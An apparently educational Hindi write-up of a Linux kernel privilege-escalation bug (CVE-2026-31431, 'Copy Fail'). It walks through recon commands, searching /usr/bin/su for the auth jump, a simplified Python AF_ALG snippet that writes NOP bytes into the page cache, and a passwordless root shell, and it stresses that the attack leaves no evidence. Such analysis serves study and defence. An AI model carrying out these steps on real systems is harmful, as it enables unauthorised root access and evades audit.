
Linux कर्नेल में Copy Fail भेद्यता (CVE-2026-31431) का विस्तृत विश्लेषण, जिसमें मेमोरी भ्रष्टाचार तंत्र, विशेषाधिकार वृद्धि प्रवाह, और सुरक्षा प्रभाव शामिल हैं।
लिनक्स कर्नेल में कॉपी फेल भेद्यता का शैक्षिक विश्लेषण।
इसमें मेमोरी भ्रष्टाचार तंत्र, विशेषाधिकार वृद्धि प्रवाह, कंटेनर पलायन और रक्षात्मक उपाय शामिल हैं।
यह रिपॉजिटरी केवल शैक्षिक और शोध उद्देश्यों के लिए है।
इस जानकारी का उपयोग उन सिस्टमों पर न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
सभी कोड स्निपेट और कमांड केवल लिनक्स कर्नेल आंतरिक कार्यप्रणाली को समझने में सहायता के लिए प्रदान किए गए हैं।
CVE-2026-31431, जिसे कॉपी फेल के नाम से भी जाना जाता है, एक लिनक्स कर्नेल भेद्यता है जिसमें एक गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता बिना किसी विशेष अनुमति के रूट तक पहुँच प्राप्त कर सकता है।
आक्रमण पूरी तरह से RAM में संचालित होता है। डिस्क फ़ाइल को कभी नहीं छुआ जाता — जिसका अर्थ है कि फ़ाइल हैश साफ रहते हैं, टाइमस्टैम्प अपरिवर्तित रहते हैं, और ऑडिट लॉग कुछ भी दर्ज नहीं करते। जब सिस्टम रीबूट होता है, सभी सबूत गायब हो जाते हैं।
सामान्य उपयोगकर्ता → algif_aead बग का शोषण → पेज कैश अधिलेखित → रूट
मुख्य विशेषताएँ:
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-31431 |
| सामान्य नाम | कॉपी फेल / algif_aead पेज कैश भ्रष्टाचार |
| CVSS v3.1 स्कोर | 7.8 — गंभीर |
| आक्रमण प्रकार | स्थानीय विशेषाधिकार वृद्धि (LPE) |
| प्रभावित कर्नेल संस्करण | लिनक्स 5.10 से 6.8 (लगभग) |
| संवेदनशील घटक | crypto/algif_aead.c — AF_ALG सॉकेट इंटरफ़ेस |
| शोषण विश्वसनीयता | उच्च — कोई रेस कंडीशन आवश्यक नहीं |
| डिस्क साक्ष्य | कोई नहीं — केवल RAM-आधारित संशोधन |
| कंटेनर प्रभाव | हाँ — साझा पेज कैश के माध्यम से होस्ट पलायन |
| पैच स्थिति | उपलब्ध (अपस्ट्रीम कर्नेल पैच जारी) |
/usr/bin/su — लक्ष्य बाइनरीsu (स्विच यूज़र) एक उपयोगकर्ता को दूसरे खाते — आमतौर पर रूट — में स्विच करने की अनुमति देता है। यह एक SetUID बाइनरी है:
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID फ़्लैग
s फ़्लैग का अर्थ है: जब कोई भी उपयोगकर्ता इस बाइनरी को चलाता है, यह रूट की अनुमतियों के साथ निष्पादित होती है। यह इसे एक उच्च-मूल्य वाला लक्ष्य बनाता है।
इसका आंतरिक तर्क (सरलीकृत):
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
आक्रमण लक्ष्य: password_correct() जाँच को पूरी तरह से छोड़ देना।
जब लिनक्स डिस्क से एक फ़ाइल पढ़ता है, यह उसकी एक प्रति RAM में रखता है जिसे पेज कैश कहा जाता है।
| घटक | विवरण |
|---|---|
| डिस्क | डिस्क पर मूल फ़ाइल (पुस्तकालय की शेल्फ) |
| पेज कैश | फ़ाइल की RAM प्रति (आपकी मेज़ पर फोटोकॉपी) |
| CPU | पेज कैश से पढ़ता और निष्पादित करता है — तेज़ |
| हमलावर | RAM प्रति को संशोधित करता है; डिस्क अछूती रहती है |
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← यह पेज कैश है
| प्रकार | सुरक्षा |
|---|---|
| सुरक्षित बफर — कर्नेल-आवंटित, आकार और सीमा नियंत्रित | ✅ ठीक |
| पेज कैश — फ़ाइल-समर्थित RAM प्रति, साझा, निष्पादन योग्य | ⚠️ खतरनाक यदि लिखा जाए |
| गलत पॉइंटर — बग के कारण कहीं भी इंगित करने वाला पता | 🔴 गंभीर |
AF_ALG (एल्गोरिदम फ़ैमिली) एक लिनक्स सॉकेट इंटरफ़ेस है जो उपयोगकर्ता-स्थान प्रोग्रामों को कर्नेल क्रिप्टो फ़ंक्शन (AES, SHA, AEAD) का उपयोग करने की अनुमति देता है।
socket(AF_ALG, SOCK_SEQPACKET, 0); // क्रिप्टो सॉकेट खोलें
algif_aead कर्नेल मॉड्यूल है जो AF_ALG के माध्यम से AEAD एन्क्रिप्शन (जैसे AES-GCM) को संभालता है। भेद्यता इसके डेटा कॉपी चरण में रहती है।
AF_ALG → algif_aead → AES-GCM इंजन → आउटपुट बफर
↑
बग यहाँ है
बग एन्क्रिप्शन तर्क में नहीं है। यह मेमोरी हैंडलिंग में है — डेटा कॉपी के दौरान गलत मेमोरी क्षेत्र का चयन किया जाता है।
destination = safe_output_buffer; // सही स्थान
memcpy(destination, user_data, size); // डेटा सुरक्षित रूप से लिखा गया
destination = buffer + WRONG_OFFSET; // बग: गलत पॉइंटर!
memcpy(destination, user_data, size); // डेटा पेज कैश में पहुँचता है
कर्नेल को सुरक्षित आउटपुट बफर में लिखना था। गलत गणना किए गए ऑफसेट के कारण, यह पेज कैश में लिखता है — जिसमें /usr/bin/su की RAM प्रति होती है।
बाइनरी में x86-64 मशीन कोड होता है। हमलावर उस सशर्त जंप को लक्षित करता है जो प्रमाणीकरण विफलता को ट्रिगर करता है:
आक्रमण से पहले:
cmp eax, 0 ; रिटर्न मान जाँचें
jne 0x1234 ; यदि विफल → अस्वीकार पर जाएँ
call give_root ; रूट प्रदान करें
आक्रमण के बाद (RAM में 2 बाइट बदले गए):
cmp eax, 0 ; समान
90 90 ; NOP NOP ← जंप बदला गया, जाँच छोड़ी गई!
call give_root ; CPU सीधे यहाँ पहुँचता है
NOP = नो ऑपरेशन। CPU कुछ नहीं करता और आगे बढ़ता है — प्रमाणीकरण जाँच को पूरी तरह से छोड़ देता है।
"मुझे केवल एक सामान्य उपयोगकर्ता खाते की आवश्यकता है। कर्नेल स्वयं गलती करेगा।
डिस्क साफ रहती है। कोई लॉग नहीं। हर बार काम करता है।"
whoami && id
# uid=1000(user) gid=1000(user) ← सामान्य उपयोगकर्ता
uname -r
# 6.1.0-generic ← संवेदनशील सीमा के भीतर
ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID की पुष्टि
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG उपलब्ध')"
cat /usr/bin/su > /dev/null
# /usr/bin/su अब पेज कैश में लोड हो गया है ✓
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
खोज रहे हैं: प्रमाणीकरण फ़ंक्शन का पता, jne/jnz सशर्त जंप, और इसका सटीक बाइट ऑफसेट।
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
payload = b'\x90\x90' # NOP NOP — सशर्त जंप को बदलता है
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
# कर्नेल आंतरिक रूप से (सरलीकृत):
destination = buffer + crafted_offset # बग: गलत पॉइंटर
memcpy(destination, payload, 2) # NOP बाइट्स पेज कैश में लिखे गए
# /usr/bin/su की पासवर्ड जाँच अब RAM में NOP NOP है
su
# पासवर्ड: (कुछ भी — या बस Enter दबाएँ)
# root@victim:/# ← रूट प्राप्त हुआ
क्या हुआ: सिस्टम ने /usr/bin/su को RAM से निष्पादित किया। पासवर्ड जाँच NOP थी। CPU ने इसे छोड़ दिया। give_root() सीधे कॉल किया गया।